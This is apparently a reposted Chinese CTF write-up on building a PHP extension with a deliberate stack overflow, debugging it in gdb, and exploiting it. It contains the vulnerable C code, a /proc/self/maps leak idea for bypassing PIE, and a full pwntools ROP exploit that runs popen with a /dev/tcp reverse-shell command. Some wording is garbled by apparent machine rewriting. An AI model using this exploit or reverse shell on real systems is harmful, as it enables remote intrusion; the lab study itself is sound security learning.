PHP扩展模块的开发流程及应用运行模式分析与应用

2023-05-03 1388阅读 0评论
小熊猫权益

温馨提示:这篇文章已超过569天没有更新,请注意相关的内容是否还可用!

CLI运行模式:

一般我们在开发PHP扩展时,多是用命令行终端来直接使用php解释器直接解释执行.php文件,在.php文件中我们写入需要读取的扩展变量,该扩展函数被编译在.so的扩展组件中,这种运行方式我通常称为CLI模式,该体系对应的php声明周期通常为单进程SAPI生命周期

CGI运行模式

其中针对大个别网站应用服务器来说,大个别时候PHP解释器运行的方式为CGI模式——单进程SAPI生命周期,此方式运行特征为请求前往时,为每个请求fork一个进程,一个进程只对一个请求作出响应,请求结束后,进程也就结束了。其中fork的进程,和原进程的内存布局通常来说是一模一样的,所以此处如果能拿到/proc/{pid}/maps文件,则可以获得该进程的存储布局,形成内存泄露,此方法在中的这道上是第一个突破点,利用的其有漏洞的包括变量来调用/proc/self/maps,可以获得所有基地址,从而无视PIE保护。

PHP扩展组件开发流程

经过上个别的简单介绍,我们大约知道了PHP的扩展模块,下面我们详细介绍一下PHP扩展组件的开发步骤。

我本机的环境是.04,我们使用以下的命令来简单的打造开发环境

# 安装php,以及php开发包头
$> sudo apt install php php-dev
$> php -v # 查看php版本
PHP 7.2.24-0ubuntu0.18.04.4 (cli) (built: Apr 8 2020 15:45:57) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.24-0ubuntu0.18.04.4, Copyright (c) 1999-2018, by Zend Technologies

我的版本为7.2.24,之后我们去php的的源代码发布页面上下载同样版本的源代码。

php-7.2.24
|____build --和编译有关的目录,里面包括wk,awk和sh脚本用于编译处理,其中m4文件是linux下编译程序自动生成的文件,可以使用buildconf命令操作具体的配置文件。
|____ext --扩展库代码,例如Mysql,gd,zlib,xml,iconv 等我们熟悉的扩展库,ext_skel是linux下扩展生成脚本,windows下使用ext_skel_win32.php。
|____main --主目录,包含PHP的主要宏定义文件,php.h包含绝大部分PHP宏及PHP API定义。
|____netware --网络目录,只有sendmail_nw.h和start.c,分别定义SOCK通信所需要的头文件和具体实现。
|____pear --扩展包目录,PHP Extension and Application Repository。
|____sapi --各种服务器的接口调用,如Apache,IIS等。
|____scripts --linux下的脚本目录。
|____tests --测试脚本目录,主要是phpt脚本,由--TEST--,--POST--,--FILE--,--EXPECT--组成,需要初始化可添加--INI--部分。
|____TSRM --线程安全资源管理器,Thread Safe Resource Manager保证在单线程和多线程模型下的线程安全和代码一致性。
|____win32 --Windows下编译PHP 有关的脚本。
|____Zend --包含Zend引擎的所有文件,包括PHP的生命周期,内存管理,变量定义和赋值以及函数宏定义等等。

扩展模块开发

编译php源码_php 源码编译 不加载扩展_php源码编译

首先我们开启源代码目录php 源码编译 不加载扩展,使用如下目录生成扩展组件的工程项目

$>./ext_skel --extname=easy_phppwn

后来我们编写一个扩展函数,这是一个简单栈溢出演示,如右图图示:

同时在下方如图所示位置配置该扩展变量

写完以后我们使用如下命令配置编译

$> ./configure --with-php-config=/usr/bin/php-config

之后在生成的文件中,在如下位置设定编译参数,记得取消-O2优化,否则会加上保护,导致函数加上长度检查变为函数

设置好以后我们可以直接使用make命令编译,编译完成后,会生成./,目录下就是我们必须的.so扩展文件,将其复制到,php扩展目录下,之后再php.ini文件中配置启动扩展即可,

# 通过find命令来查找 php.ini文件
$> sudo find / -name "php.ini"
/etc/php/7.2/apache2/php.ini
/etc/php/7.2/cli/php.ini # 通常我调试时使用CLI模式,所以我只配置了该目录下的php.ini文件

在最下方加入

extension=easy_phppwn.so #easy_phppwn.so是扩展模块的文件名,应放在php的扩展模块目录下,在文章开头,有查找指令

完成以后,我们写一个.php文件,尝试读取()变量进行查看

$> php test.php | grep "easy_phppwn" #test.php中仅一个phpinfo()函数
easy_phppwn
easy_phppwn support => enabled
PWD => /home/pwn/Desktop/phppwn/easy_phppwn
$_SERVER['PWD'] => /home/pwn/Desktop/phppwn/easy_phppwn

至此,我们完成了一个简洁php扩展组件的研发,以及具有了调试了的环境。

PHP扩展组件的调试即的调试

我们直接使用IDA打开该扩展组件文件

void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value)
{
char buf[100]; // [rsp+10h] [rbp-80h]
size_t n; // [rsp+80h] [rbp-10h]
char *arg; // [rsp+88h] [rbp-8h]

arg = 0LL;
// zend_parse_parameters 是zend引擎解析我们使用php调用改函数时传入的字符串,s代表以字符串的形式解析,&arg是参数的地址,&n是解析后的参数长度
if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
{
// 所以实际上这里有两次可溢出,一处是arg,一处是buf
memcpy(buf, arg, n);
php_printf("The baby phppwn.n");
}
}

php源码编译_php 源码编译 不加载扩展_编译php源码

因为保护措施中进入了NX,所以我们仍然采取rop的方法绕过

以下是准确的调试过程

首先我们写一个php文件,其中调用改函数,如下:

// easy.php


$a = "abcd";
easy_phppwn($a);
?>

但是在终端中我们执行该文件:

$> php easy.php
The baby phppwn.

成功输出,则表明该扩展变量成功被调用

下面我们使用gdb来安装,这里我们主要检测避免的buf变量溢出,首先我编写了一个exp.py文件来生成带的.php文件,如下:

# exp.py
from pwn import *

def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''easy_phppwn(urldecode("%s"));
?>'''
%urlencode(buf))


buf = 'a'*0x80
buf += 'b'*0x10

create_php(buf)

运行exp

编译php源码_php 源码编译 不加载扩展_php源码编译

$> python exp.py
$> php pwn.php
The baby phppwn.
[1] 23692 segmentation fault (core dumped) php pwn.php

说明成功触发栈溢出,现在我们使用gdb来进行安装,首先我这里假定我们之前在漏洞网站上早已泄露了maps文件尚未获得了php进程的存储布局,所以我这儿先关闭了本地随机化

$>gdb php
pwndbg> run
Starting program: /usr/bin/php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

运行run以后,php在期待我们的键入,我们直接ctrl+c终止掉程序,但是此处是不会退出gdb的,而是如下所示:

Program received signal SIGINT
pwndbg>

查看vmmap

pwndbg>vmmap
...
0x7ffff28f4000 0x7ffff28f5000 r-xp 1000 0 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff28f5000 0x7ffff2af5000 ---p 200000 1000 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2af5000 0x7ffff2af6000 r--p 1000 1000 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2af6000 0x7ffff2af7000 rw-p 1000 2000 /usr/lib/php/20170718/easy_phppwn.so
...

此处我们将要可以看见php已经加载了.so

然而我们今天可以设定断点了,如果在run之前设定会提醒找不到该变量,设置断点我们必须设定真正的函数名,其实是,也就是我们在ida中发现的函数名,这里就是,同时更改参数为之前生成的pwn.php文件

pwndbg>break zif_easy_phppwn
pwndbg>set args ./pwn.php
pwndbg>run
...
Breakpoint zif_easy_phppwn
pwndbg>

php 源码编译 不加载扩展_编译php源码_php源码编译

如果顺利,则表明我们今天终于开启了该函数,现在我们可以开始进行调试rop链了,对了,如果该扩展是在本地编译的话是有源码的,所以此处可以直接进行源码级别的调试

...
────────────[ DISASM ]────────
► 0x7ffff28f4c46 mov qword ptr [rbp - 8], 0
0x7ffff28f4c4e mov rax, qword ptr [rbp - 0x88]
0x7ffff28f4c55 mov eax, dword ptr [rax + 0x2c]
0x7ffff28f4c58 mov edi, eax
0x7ffff28f4c5a lea rdx, [rbp - 0x10]
0x7ffff28f4c5e lea rax, [rbp - 8]
0x7ffff28f4c62 mov rcx, rdx
0x7ffff28f4c65 mov rdx, rax
0x7ffff28f4c68 lea rsi, [rip + 0xe5]
0x7ffff28f4c6f mov eax, 0
0x7ffff28f4c74 call zend_parse_parameters@plt <0x7ffff28f4a20>
────────────[ SOURCE (CODE) ]────────
In file: /home/pwn/Desktop/phppwn/php-src-php-7.2.24/ext/easy_phppwn/easy_phppwn.c
71 function definition, where the functions purpose is also documented. Please
72 follow this convention for the convenience of others editing your code.
73 */
74 PHP_FUNCTION(easy_phppwn)
75 {
► 76 char *arg = NULL;
77 size_t arg_len, len;
78 char buf[100];
79 if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
80 return;
81 }
────────────[ STACK ]────────
...

这种我们就可以愉快的进行调试了,当然开篇我终于看到,题目来说,是基本无法使用,(‘/bin/sh’)来直接获得交互式shell的,所以我这里借助使用来启动一个反弹shell到vps上,当然虽然还可以使用rop链构造调用数组来给stack执行权限,然后找一个jmprsp来直接执行,这样就不用去算栈偏移了,不过也差不多。

完整exp如下:

from pwn import *

context.arch = "amd64"

def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''easy_phppwn(urldecode("%s"));
?>'''
%urlencode(buf))

libc = ELF("./libc-2.27.so")

libc.address = 0x7ffff5e25000

pop_rdi_ret = 0x2155f+libc.address
pop_rsi_ret = 0x23e6a+libc.address
popen_addr = libc.sym['popen']

command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'

stack_base = 0x7ffffffde000
stack_offset = 0x1c330
stack_addr = stack_offset+stack_base
layout = [
'a'*0x88,
pop_rdi_ret,
stack_addr+0x88+0x30+0x60,
pop_rsi_ret,
stack_addr+0x88+0x28,
popen_addr,
'r'+'x00'*7,
'a'*0x60,
command.ljust(0x60, 'x00'),
"a"*0x8
]
buf = flat(layout)

create_php(buf)

最后效果如下:

总结

虽然类型的题目,对大个别选手来说,主要可能是难在调试环节上,网上基本没有具体介绍的文章php 源码编译 不加载扩展,那道,我本地打通了,但是鉴于libc的弊端,导致服务没打通,有点可惜了,这里从而记录一下我个人调试的步骤方法,分享给大家师傅。

参考

Wupco’sBlog-入门

本文来自网络,如有侵权请联系网站客服进行删除

PHP扩展模块的开发流程及应用运行模式分析与应用  您阅读本篇文章共花了: 

  • 1.注意:本站资源多为网络收集,如涉及版权问题请及时与站长联系,我们会在第一时间内删除资源。
  • 2.您购买的只是资源,不提供解答疑问和安装服务。免费源码里的接口不保证一直可以用
  • 3.本站用户发帖仅代表本站用户个人观点,并不代表本站赞同其观点和对其真实性负责。
  • 4.本站资源大多存储在云盘,如发现链接失效,请及时与站长联系,我们会第一时间更新。
  • 5.转载本网站任何内容,请按照转载方式正确书写本站原文地址
  • 6.如果发现侵权可以联系站长删除,站长vx:xiaoxiongmao0504或者邮箱通知3326096692@qq.com
  • 小熊猫权益

    发表评论

    快捷回复: 表情:
    评论列表 (暂无评论,1388人围观)

    还没有评论,来说两句吧...

    目录[+]

    取消
    微信二维码
    微信二维码
    支付宝二维码
    请先 登录 再评论,若不是会员请先 注册